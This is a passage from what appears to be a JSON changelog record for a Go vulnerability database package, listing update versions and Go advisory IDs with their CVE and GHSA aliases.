GHSA-w4q6-qw23-4rg7\n * GO-2026-6119 CVE-2026-43983 GHSA-w6p7-2fxx-4f44\n * GO-2026-6120 CVE-2026-54593 GHSA-8r6w-3qq5-4p4r\n * GO-2026-6121 CVE-2026-54345 GHSA-6r28-9ppf-4hj5\n * GO-2026-6122 CVE-2026-54332 GHSA-g6v3-7xmc-w563\n * GO-2026-6123 CVE-2026-49446 GHSA-2rx5-2g7j-2659\n * GO-2026-6124 CVE-2026-49447 GHSA-5fqm-cc34-fcf5\n * GO-2026-6125 CVE-2026-11479 GHSA-6h35-9p2w-3j3r\n * GO-2026-6126 CVE-2026-11465 GHSA-7v3v-cp44-vc8m\n * GO-2026-6127 CVE-2026-50567 GHSA-q6vm-xqc9-v3ff\n * GO-2026-6128 CVE-2026-11481 GHSA-q76h-p6jh-9rw3\n * GO-2026-6129 CVE-2026-50570 GHSA-qf5v-m7p4-95rp\n * GO-2026-6130 CVE-2026-50568 GHSA-r5jh-q2mw-gcx4\n * GO-2026-6131 CVE-2026-50569 GHSA-vchh-r53j-8mpw\n * GO-2026-6132 CVE-2026-62325 GHSA-rjrw-mjq6-hpmm\n * GO-2026-6133 CVE-2026-54719 GHSA-rmxw-pq4x-3fvh\n * GO-2026-6134 CVE-2026-66064 GHSA-964w-f6gj-5236\n * GO-2026-6135 CVE-2026-54650 GHSA-fh2f-xfxc-q9cc\n * GO-2026-6136 CVE-2026-64863 GHSA-hq33-8jgp-8qq3\n * GO-2026-6137 CVE-2026-66063 GHSA-wg2q-39h6-66x9\n * GO-2026-6138 CVE-2026-54638 GHSA-whmm-qj9r-wvr2\n * GO-2026-6139 CVE-2026-54735 GHSA-4p3g-4hcj-wpvx\n * GO-2026-6140 CVE-2026-11500 GHSA-jqpm-wf57-qx5c\n * GO-2026-6141 CVE-2026-54693 GHSA-jq8w-8q2f-ffm9\n * GO-2026-6142 CVE-2026-54680 GHSA-mjqf-28ph-426h\n * GO-2026-6143 GHSA-xvg2-cgv6-6h7v\n * GO-2026-6144 CVE-2026-67439 GHSA-jm28-2wcr-qf3h\n * GO-2026-6145 CVE-2026-67438 GHSA-xc5w-4v5w-7x65\n * GO-2026-6146 CVE-2026-67437 GHSA-xpxj-f2fm-rqch\n * GO-2026-6147 CVE-2026-25688 GHSA-hmr2-99jm-8x45\n * GO-2026-6148 CVE-2026-25699 GHSA-w754-5646-xq9j\n * GO-2026-6151 CVE-2026-34033 GHSA-6qwm-5fm9-cvjx\n * GO-2026-6152 CVE-2026-34905 GHSA-85r2-pvg8-89r9\n * GO-2026-6153 CVE-2026-33582 GHSA-v553-g2w6-295p\n * GO-2026-6154 CVE-2026-34031 GHSA-x4f6-mqg6-28xx\n * GO-2026-6155 CVE-2026-65834 GHSA-68cj-mvg9-rgm2\n * GO-2026-6156 CVE-2026-52856 GHSA-ghrq-5wpp-hxx5\n * GO-2026-6157 CVE-2026-65835 GHSA-jr6p-8pjj-mfx6\n * GO-2026-6158 CVE-2026-52855 GHSA-pfvc-3p5h-x7h6\n * GO-2026-6159 CVE-2026-52857 GHSA-q6hh-gp44-4hcm\n * GO-2026-6160 CVE-2026-54725 GHSA-r2v3-8gwf-7ghm\n * GO-2026-6161 CVE-2026-53551 GHSA-qj55-47fp-p62j\n * GO-2026-6162 CVE-2026-54787 GHSA-wqqc-jjcq-vfxm\n * GO-2026-6163 CVE-2026-54909 GHSA-34rh-wp3j-6cxc\n * GO-2026-6164 CVE-2026-54910 GHSA-vvp7-h4fj-m28w\n * GO-2026-6165 CVE-2026-54908 GHSA-wg4g-wm44-ch5j\n * GO-2026-6166 CVE-2026-56868\n * GO-2026-6168 CVE-2026-56869\n * GO-2026-6169 CVE-2026-56870\n * GO-2026-6170 CVE-2026-56871\n * GO-2026-6171 CVE-2026-56872\n * GO-2026-6172 CVE-2026-56873\n * GO-2026-6173 CVE-2026-56874\n * GO-2026-6181 GHSA-gwfq-86j8-7qhv\n * GO-2026-6182 CVE-2026-71312 GHSA-2m8m-jhrm-w6j2\n * GO-2026-6183 GHSA-3x6r-wxxg-53vv\n * GO-2026-6184 CVE-2026-71309 GHSA-45pq-889g-fcgh\n * GO-2026-6185 CVE-2026-59732 GHSA-4vr5-p2gc-h23p\n * GO-2026-6186 CVE-2026-71313 GHSA-7p4m-qxvv-g567\n * GO-2026-6187 CVE-2026-71311 GHSA-8c48-q9wj-3w37\n * GO-2026-6188 GHSA-8mxv-9xhp-86h4\n * GO-2026-6189 GHSA-8v25-v8p6-qf7v\n * GO-2026-6190 GHSA-945v-v9p3-v5xw\n * GO-2026-6191 CVE-2026-54572 GHSA-cf44-9pgv-m4xc\n * GO-2026-6192 CVE-2026-65602 GHSA-42cj-m3vj-89wv\n * GO-2026-6195 CVE-2026-59733 GHSA-fqj9-69pf-6pjg\n * GO-2026-6196 GHSA-gx4c-2hqx-cw2r\n * GO-2026-6197 GHSA-h4mf-4v27-hggj\n * GO-2026-6198 CVE-2026-65601 GHSA-qq9q-x9w4-chhj\n * GO-2026-6199 CVE-2026-71310 GHSA-xhf4-832v-7xcr\n * GO-2026-6201 CVE-2026-71324 GHSA-3ccp-42pg-hgv6\n * GO-2026-6202 CVE-2026-54764 GHSA-3q9r-p662-5j8m\n * GO-2026-6203 CVE-2026-71325 GHSA-62fc-8686-hfmq\n * GO-2026-6204 CVE-2026-71326 GHSA-6765-c87h-8mrf\n * GO-2026-6205 CVE-2026-54765 GHSA-6p8f-p8j2-rqmv\n * GO-2026-6207 CVE-2026-67309 GHSA-8rxv-jg7p-wvg3\n * GO-2026-6208 CVE-2026-65600 GHSA-cxjq-mrr5-89rv\n * GO-2026-6209 CVE-2026-71327 GHSA-fgjj-px3w-67xx\n * GO-2026-6211 CVE-2026-54763 GHSA-x677-9fxg-v5c5\n * GO-2026-6212 CVE-2026-39904 GHSA-42jc-v69j-g38f\n * GO-2026-6213 CVE-2026-71556 GHSA-hc8v-wwc9-vgxm\n * GO-2026-6214 CVE-2026-71557 GHSA-qgq7-7hm3-q39j\n * GO-2026-6216\n * GO-2026-6219 CVE-2026-73080 GHSA-87fv-vqqr-m4jr\n * GO-2026-6220 CVE-2026-48786 GHSA-88p2-jj8w-j8qg\n * GO-2026-6221 CVE-2026-54917 GHSA-w62w-66v9-vvgv\n * GO-2026-6223 CVE-2026-54526 GHSA-48p8-g2fx-3wwm\n * GO-2026-6224 CVE-2026-53469 GHSA-6xvf-9742-48w2\n * GO-2026-6227 CVE-2026-35511 GHSA-29rf-f4vv-pvq6\n * GO-2026-6228 CVE-2026-53471 GHSA-2fqw-7c6r-2cq6\n * GO-2026-6229 CVE-2026-53470 GHSA-v5m8-5455-qw2x\n * GO-2026-6230 CVE-2026-53657 GHSA-2j9v-p4xj-cjw2\n * GO-2026-6231 CVE-2026-53476 GHSA-7j4w-x8x8-5mvg\n * GO-2026-6232 CVE-2026-53475 GHSA-8g5p-jxp9-457c\n * GO-2026-6233 CVE-2026-53474 GHSA-vf2h-7x3w-97fr\n * GO-2026-6234 CVE-2026-53658 GHSA-xghw-p77p-3r7x\n * GO-2026-6237\n * GO-2026-6238 CVE-2026-10722 GHSA-xhgw-qwwf-pg32\n * GO-2026-6240 CVE-2026-64859 GHSA-6x2c-phff-wx57\n * GO-2026-6241 CVE-2026-45099 GHSA-8394-6f8r-whxg\n * GO-2026-6242 CVE-2026-71479 GHSA-8r8v-xf7q-rcpr\n * GO-2026-6243 CVE-2026-64865 GHSA-j6gc-4893-qwmp\n * GO-2026-6244 CVE-2026-64866 GHSA-p845-629j-rcj6\n * GO-2026-6245 CVE-2026-64868 GHSA-v828-m3pf-vq9q\n * GO-2026-6246 GHSA-fhgh-wq4q-r37x\n * GO-2026-6247 CVE-2026-55062 GHSA-m6jg-wr9m-cg2f\n * GO-2026-6248 CVE-2026-55061 GHSA-qmcq-xw74-w667\n * GO-2026-6249 CVE-2026-25700 GHSA-4gw2-vg4x-7p29\n\n- Update to version 0.0.20260814T162254 2026-08-14T16:22:54Z.\n\n Go CVE Numbering Authority IDs added or updated with aliases:\n\n * GO-2026-5021 CVE-2026-42508 GHSA-5cgq-3rg8-m6cv\n * GO-2026-5942 CVE-2026-46600\n * GO-2026-5972 CVE-2026-33818\n * GO-2026-6088 CVE-2026-56859\n * GO-2026-6089 CVE-2026-56853\n * GO-2026-6090 CVE-2026-56862\n * GO-2026-6091 CVE-2026-56858\n * GO-2026-6179 CVE-2026-56865\n * GO-2026-6180 CVE-2026-56864\n * GO-2026-6218 CVE-2026-56860\n * GO-2026-6222 CVE-2026-46603\n\n- Update to version 0.0.20260811T232133 2026-08-11T23:21:33Z.\n\n Go CVE Numbering Authority IDs added or updated with aliases:\n\n * GO-2026-5005 CVE-2026-39833 GHSA-jppx-rxg9-jmrx\n * GO-2026-5006 CVE-2026-39832 GHSA-f5wc-c3c7-36mc\n * GO-2026-5075 CVE-2026-57210 GHSA-38x9-25wx-7fg2\n * GO-2026-5119 CVE-2026-48119 GHSA-4g6j-g789-rghm\n * GO-2026-5152 CVE-2026-48491 GHSA-5r4w-85f3-pw66\n * GO-2026-5274 CVE-2026-40173 GHSA-95mq-xwj4-r47p\n * GO-2026-5287 CVE-2026-53622 GHSA-9cr8-q42q-g8m7\n * GO-2026-5306 CVE-2026-34179 GHSA-c3h3-89qf-jqm5\n * GO-2026-5368 CVE-2026-34177 GHSA-fm2x-c5qw-4h6f\n * GO-2026-5466 CVE-2026-41179 GHSA-jfwf-28xr-xw6q\n * GO-2026-5516 CVE-2026-41327 GHSA-mrxx-39g5-ph77\n * GO-2026-5529 CVE-2026-34976 GHSA-p5rh-vmhp-gvcw\n * GO-2026-5532 CVE-2026-41181 GHSA-p6hg-qh38-555r\n * GO-2026-5576 CVE-2026-34178 GHSA-q96j-3fmm-7fv4\n * GO-2026-5596 CVE-2026-49980 GHSA-qw24-gh76-8rvv\n * GO-2026-5668 CVE-2026-41568 GHSA-vp62-88p7-qqf5\n * GO-2026-5970 CVE-2026-56852\n","status":"published","published":"2026-09-04T12:32:03Z","modified":"2026-09-29T18:23:20.110594263Z","updated_at":"2026-11-02T15:54:03.991985Z"}]}}